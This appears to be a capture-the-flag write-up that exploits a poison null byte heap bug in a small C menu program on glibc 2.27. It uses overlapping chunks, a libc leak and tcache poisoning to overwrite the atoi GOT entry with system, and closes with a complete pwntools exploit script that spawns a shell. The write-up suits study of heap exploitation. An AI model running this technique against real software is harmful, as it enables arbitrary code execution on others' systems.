allmight [PWN]

Poison Null byte Bug Leading to Arbitrary Code Execution

Chall

Let`s read source code of Program

task.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>


int heroes_skills_size[20]={ 0 };
int chairs[20]={ 0 };
char *heroes[20]={ 0 };
int number_heroes=0;



void menu(){
	puts("1- Add hero to class");
	puts("2- Edit hero's skill");
	puts("3- Kick hero");
	puts("4- Look into hero's skill");
	puts("5- Exit");
	write(1,"> ",2);
}

int read_int(){
	char var[5];
	int size;
	read(0,var,4);
	size = atoi(var);
	return size;
}
void new_hero(){
	if(number_heroes >= 20)
	{
		puts("Class is full :(");
		return;
	}
	char var[20];
	long long int size;
	puts("Hero skill's description size:");
	read(0,var,20);
	size = atoll(var);
	
	for(int i = 0 ; i<20 ; i++){
		if(chairs[i] == 0){
			heroes[i] = (char *)malloc(size);
			chairs[i] = 1;
			heroes_skills_size[i] = size;
			printf("You got new hero at chair %d @ with location 0x%llx \n",i,heroes[i]);
			number_heroes = number_heroes + 1 ;
			break;
		}
	}
}
void edit_skill(){
	char var[5];
	int index;
	puts("Hero chair index:");
	read(0,var,4);
	index = atoi(var);
	if(index >=0 && index <=19){
		if(chairs[index]){
			puts("describe hero's skill:");
			int string_length=read(0,heroes[index],heroes_skills_size[index]);
			heroes[index][string_length]='\0';
		}
	}else{
		puts("Chair is empty!");
		return ;
	}
} 
void kick_hero(){
	char var[5];
	int index;
	puts("Hero chair index:");
	read(0,var,4);
	index = atoi(var);
	if(index >=0 && index <=19){
		if(chairs[index] == 0){
			puts("Chair is empty!");
			return ;
		}else{
			free(heroes[index]);
			chairs[index] = 0 ;
			number_heroes = number_heroes - 1;
		}
	}else{
		puts("Chair is in another classroom!");
		return ;
	}
}
void show_hero_skill(){
	char var[5];
	int index;
	puts("Hero chair index:");
	read(0,var,4);
	index = atoi(var);
	if(index >=0 && index <=19){
		if(heroes[index]){
			puts("skill description:");
			write(1,heroes[index],heroes_skills_size[index]);
		}
	}else{
		puts("Chair is empty!");
		return ;
	}
} 
int diary(){
	int choice;
	puts("Welcome to boku no hero academia");

	while(1){
		menu();
		choice = read_int();
		switch(choice){
			case 1:new_hero();break;
			case 2:edit_skill();break;
			case 3:kick_hero();break;
			case 4:show_hero_skill();break;
			case 5:return 0;
		}
	}
	
	return 0;
}
int main(){
	setvbuf(stderr, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	diary();
	return 0;
}
//gcc -Wl,-z,norelro -o main task.c -no-pie 

now the program create 4 global variables heroes_skills_size saved chunk size after allocated

heroes variable used to save pointers to chunks when allocated them to edit and free and view this chunks

for example i created 4 chunks

new_hero() function

void new_hero(){
	if(number_heroes >= 20)
	{
		puts("Class is full :(");
		return;
	}
	char var[20];
	long long int size;
	puts("Hero skill's description size:");
	read(0,var,20);
	size = atoll(var);
	
	for(int i = 0 ; i<20 ; i++){
		if(chairs[i] == 0){
			heroes[i] = (char *)malloc(size);
			chairs[i] = 1;
			heroes_skills_size[i] = size;
			printf("You got new hero at chair %d @ with location 0x%llx \n",i,heroes[i]);
			number_heroes = number_heroes + 1 ;
			break;
		}
	}
}

in line 2: it checks if we have created <= 20 heroes or not if we have created 20 heroes and we want to create the 21st hero it will print the error message

in line 9->11: It asks the user to enter the size of the chunk that we want to create

in line 15->18: Calls malloc() with the size we give it and allocates a chunk in a heap with that size and the size of that chunk will be saved in the heroes_skills_size array

edit_skill() function

void edit_skill(){
	char var[5];
	int index;
	puts("Hero chair index:");
	read(0,var,4);
	index = atoi(var);
	if(index >=0 && index <=19){
		if(chairs[index]){
			puts("describe hero's skill:");
			int string_length=read(0,heroes[index],heroes_skills_size[index]);
			heroes[index][string_length]='\0';
		}
	}else{
		puts("Chair is empty!");
		return ;
	}
} 

in line 1->7: it asks the user to enter the index of chunk we want edit it, and checks if the index we give is a greater or equal number 0 and less or equal number 19.

in line 8->11: it checks if there chunk with this index and doesn't free'd yet, and if condition successful will calls read() function to take input from user and set null byte after input.

the line 11: there is Posion Null Byte Bug

for example we allocated two chunk first one with size 0x18 and the second with 0x110

and enter 0x18 byte of data for first chunk he will put \00 put in size field that's clear prev_inuse flag to 0 and subtract 0x10 bytes from the chunk size

we created two chunks here with size 0x18 & 0x108

now we enter 'A'*0x18 to first chunk will set \0 after 0x18 bytes

Look there it subtract 0x10 bytes from the size of second chunk, and clear prev_inuse flag

what's the fix for this bug ?

set the null byte in size-1 scrub one byte from the size of chunk to set null byte before size field of second chunk to avoid this bug

heroes[index][string_length-1]='\0';

now how i can exploit this bug ?

Leverage a null byte to create overlapping chunks that gave me user-after-free bug, which good primitive

kick_hero() Function

void kick_hero(){
	char var[5];
	int index;
	puts("Hero chair index:");
	read(0,var,4);
	index = atoi(var);
	if(index >=0 && index <=19){
		if(chairs[index] == 0){
			puts("Chair is empty!");
			return ;
		}else{
			free(heroes[index]);
			chairs[index] = 0 ;
			number_heroes = number_heroes - 1;
		}
	}else{
		puts("Chair is in another classroom!");
		return ;
	}
}

in line 2->7: it asks the user to enter the index of chunk we want edit it, and checks if the index we give is a greater or equal number 0 and less or equal number 19.

in line 8->15: it checks if there chunk with this index and checks if this chunk free'd or not and if condition successful will print error message and if condition not successful will free the chunk with this index and set chairs[chunk index] = 0 to avoid use-after-free and double free bug.

show_hero_skill() function

void show_hero_skill(){
	char var[5];
	int index;
	puts("Hero chair index:");
	read(0,var,4);
	index = atoi(var);
	if(index >=0 && index <=19){
		if(heroes[index]){
			puts("skill description:");
			write(1,heroes[index],heroes_skills_size[index]);
		}
	}else{
		puts("Chair is empty!");
		return ;
	}
} 

in line 2->7: it asks the user to enter the index of chunk we want edit it, and checks if the index we give is a greater or equal number 0 and less or equal number 19.

in line 8->10: it checks if there chunk with this index or not that's a read-after-free bug here, and The data in this chunk will be printed.

Steps of Exploit

  1. We need create 4 chunks, chunk A,Chunk B,Chunk C,guard against consolidation with the top chunk

  2. put chunk B size before Chunk C prev_size a 24 bytes

  3. free Chunk B

  4. clear prev_inuse flag of Chunk B from Chunk A to subract 0x10 from Chunk B size

  5. create 2 chunks to remaindering chunk B size = (Chunk B size - 0x18) / 2

  6. free Chunk B1 and Chunk C to consolidation

  7. allocate Chunk B1

  8. allocate “New Chunk“ will put it in place of chunk_B2 which is still allocated, and edit Chunk B2 that’s gave me use-after-free primitive

  9. Arbitrary Code Execution

Informations we need to know Before Create Exploit

RELRO: is not enable that's good

PIE: not enabled

And the program is compiled in ubuntu 18.04, make the glibc version of this program 2.27

after use Null Byte bug To Create overlapping Chunks to get use-after-free primitive we need launch Tcache Dup attack to Get Shell

Before i start i will explain What's Tcache ?

In GLIBC versions >= 2.26 each thread is allocated its own structure called a tcache, or thread cache.

The tcache bin is a singly linked list of free chunks. It follows a LIFO structure. There are tcache bins created for each chunk size (0x20, 0x30, 0x40, …), and each tcache bin has a maximum of 7 chunks that it can store.

A tcache behaves like an arena, but unlike normal arenas tcaches aren’t shared between threads.

They are created by allocating space on a heap belonging to their thread’s arena and are freed when the thread exits.

A tcache’s purpose is to relieve thread contention for malloc’s resources by giving each thread its own collection of chunks that aren’t shared with other threads using the same arena.

A tcache takes the form of a tcache_perthread_struct, shown below in image, which holds the head of 64 tcachebins preceded by an array of counters which record the number of free chunks in each tcachebin.

This image is from the HeapLab course Part 2
  • tcache unlike fastbin Doesn't have size field checks if free chunks that`s mean if you can modifie FD of free'd tcache chunk to any address in memory and allocate new chunk with same size of free'd chunk, it will not checks if the address you wrote in FD of free'd chunk he have size field or not.

  • If you allocate 8 chunks with the same size 0x40 and free it from 1 to 8 chunk number 8 it will go to fastbin not tcache because tcache is filled

  • the tcache limit size is 0x410 byte

Now We can start develop exploit for this bug

Exploit

1- Create 4 Chunks

2- put chunk B size before Chunk C prev_size a 24 bytes

we setup prev_size field before chunk_C a 0x18 bytes because when free Chunk_B and full Chunk_A With 0x18 of Data and put "00" in size field Of Chunk_B and subtract 0x10 bytes from the Chunk_B size, that's make me Bypass size vs. prev_size check in glibc >= 2.26

3- Free Chunk B

after free Chunk B use read-after-free bug in view_hero_skill function to get main_arena address and calculate the difference to get libc Base Address

4- Overflow From Chunk_A To Chunk_B and put \00 in size field of chunk_B

now run the script and attach the process from gdb

This worked 👍

after subtract 0x10 bytes from Chunk_B and put prev_size before chunk_C, malloc will think chunk_B+0x1000 bytes this prev_size of Chunk_C and tried update prev_size of Chunk_C after allocate two chunks in step 5 but is failed.

5- create 2 chunks to remaindering chunk B size = (Chunk B size - 0x18) / 2

now run the script and attach the process from gdb

1: malloc tried add new prev_size for Chunk_C but it is failed.

2: When allocating chunk_B1 before allocating chunk_B2 malloc tried to add prev_size 0x800 in Chunk_C but it is fails because after clear prev_inuse flag of Chunk B a chunk B appears 0x10 bytes smaller then real size

3: the size of Chunk_C if look there the prev_inuse flag is clear not set, that's means when free Chunk_C will be consolidate with Chunk_B2 even if it is not free'd .

4: prev_size which we added before for Chunk C.

6- free Chunk B1 and Chunk C to consolidating it backward with Chunk_B1 Over Chunk_B2

An Example From Other Challenge

after Free Chunk_B1 and Chunk_C

Chunk_B1 & Chunk_B2 & Chunk_C merged and become bigger chunk

that's make we allocating new chunk will set in Chunk_B2 place because malloc think it is free'd but isn't free'd yet

How can we benefit from that?

when you free "new chunk" will go to tcache bin and when edit Chunk_B2 you edit the "new chunk" FD

now let's free Chunk_B1 & Chunk_C

and attach the process from gdb

it's worked

7- Allocate B1 To allocate B2 again

8- Allocate new chunk and free it to get use-after-free primitive

now run the script and attach the process from gdb
now try edit Chunk_B2 data
come back to gdb
we modified FD of New Chunk successfully 🎉

9- Arbitrary Code Execution

now to get shell in this binary we need make the FD of tcache chunk point to heroes variable to make Chunk_A pointer point to atoi_got and put system() address in Chunk_A

now run the script and attach the process from gdb
we overwritten atoi GOT successfully 🎉

continue

Finally We Leveraged a Null Byte To Get Arbitrary Code Execution successfully

thank you for reading my writeup.

POC

from pwn import *
p = process("./main")
elf = ELF("./main")
libc = ELF("./libc.so.6")
context.arch = "amd64"

index = 0

def malloc(size):
    global index
    p.sendline(b'1')
    p.recvuntil(b'size:\n')
    p.sendline(bytes(str(size),encoding='utf-8'))
    index += 1
    return index - 1
    p.recvuntil(b'> ')


def edit(idx,data):
    p.sendline(b'2')
    p.recvuntil(b'index:\n')
    p.sendline(bytes(str(idx),encoding='utf-8'))
    p.recvuntil(b'skill:\n')
    p.send(data)
    p.recvuntil(b'> ')


def free(idx):
    global index
    p.sendline(b'3')
    p.recvuntil(b'index:\n')
    p.sendline(bytes(str(idx),encoding='utf-8'))
    

def view(idx):
    p.sendline(b'4')
    p.recvuntil(b'index:\n')
    p.sendline(bytes(str(idx),encoding='utf-8'))
    p.recvuntil(b'description:\n')


heroes = 0x6015c0 # variable pointers of chunks

chunk_A = malloc(0x18) # Overflow from This Chunk to "Chunk_B"
chunk_B = malloc(0x1008) # Victim of the single null-byte overflow.
chunk_C = malloc(0x410) #  Free this chunk to consolidate over the "chunk_B" chunk.
guard = malloc(0x18) # Guard against consolidation with the top chunk.

# setup prev_size for chunk_B to bypass size vs. prev_size check in glibc >= 2.26

edit(chunk_B,p8(0)*(0x1008-24) + p64(0x1000))


# Free chunk_B into unsortedbin
free(1)

# Leak main_arena address and calculate the difference between main_arena real address and main_arena in libc to get libc base address 
view(chunk_B)

libc.address = u64(p.recvline()[0:8].strip(b'\n').ljust(8,b'\x00')) - 96 - libc.sym['main_arena']
success(f"libc.address: {hex(libc.address)}")

# Leverage a single null-byte overflow into the "chunk_B" chunk's size field to subtract 0x10 bytes from its size.
edit(chunk_A,p8(0)*0x18 + p8(0))


# Request 2 chunks in the space previously occupied by the "chunk_B" chunk: "chunk_B1" & "chunk_B2".
# The succeeding chunk's prev_size field is not updated because the "chunk_B" chunk appears 0x10 bytes smaller.

chunk_B1 = malloc(0x7f8)
chunk_B2 = malloc(0x7f8)

# Free Chunk_B1
free(1)

# and Chunk_C to consolidating it backward with "chunk_B1" over "chunk_B2".
free(chunk_C)


# =-=-=- Leverage a single null-byte overflow to Arbitrary Code Execution -=-=-=

# Request Chunk_B1 again , And Chunk_B2 still allocated.
malloc(0x7f8)

# Request a chunk from what remains of the "chunk_B" chunk.
tcache = malloc(0x50) # when allocate new chunk will be point to chunk B2 because he think is free but isn`t

# Free this chunk into the tcache; its fd overlaps the "chunk_B2" chunk, which is still allocated.
free(2)


edit(4,p64(heroes)) # Overwrite variable pointers of chunks and make first Chunk point to atoi_got function


malloc(0x50)
overlap = malloc(0x50)

# Edit Chunk_B2 that's mean you Edit tcache Chunk FD
edit(5,p64(elf.got['atoi']))

edit(chunk_A,p64(libc.sym['system'])) # Now First Chunk Pointer Point To atoi_got function that's means when you edit Chunk_A you edit atoi_got function

p.sendline(b'sh\x00')
p.clean()

p.interactive()

Last updated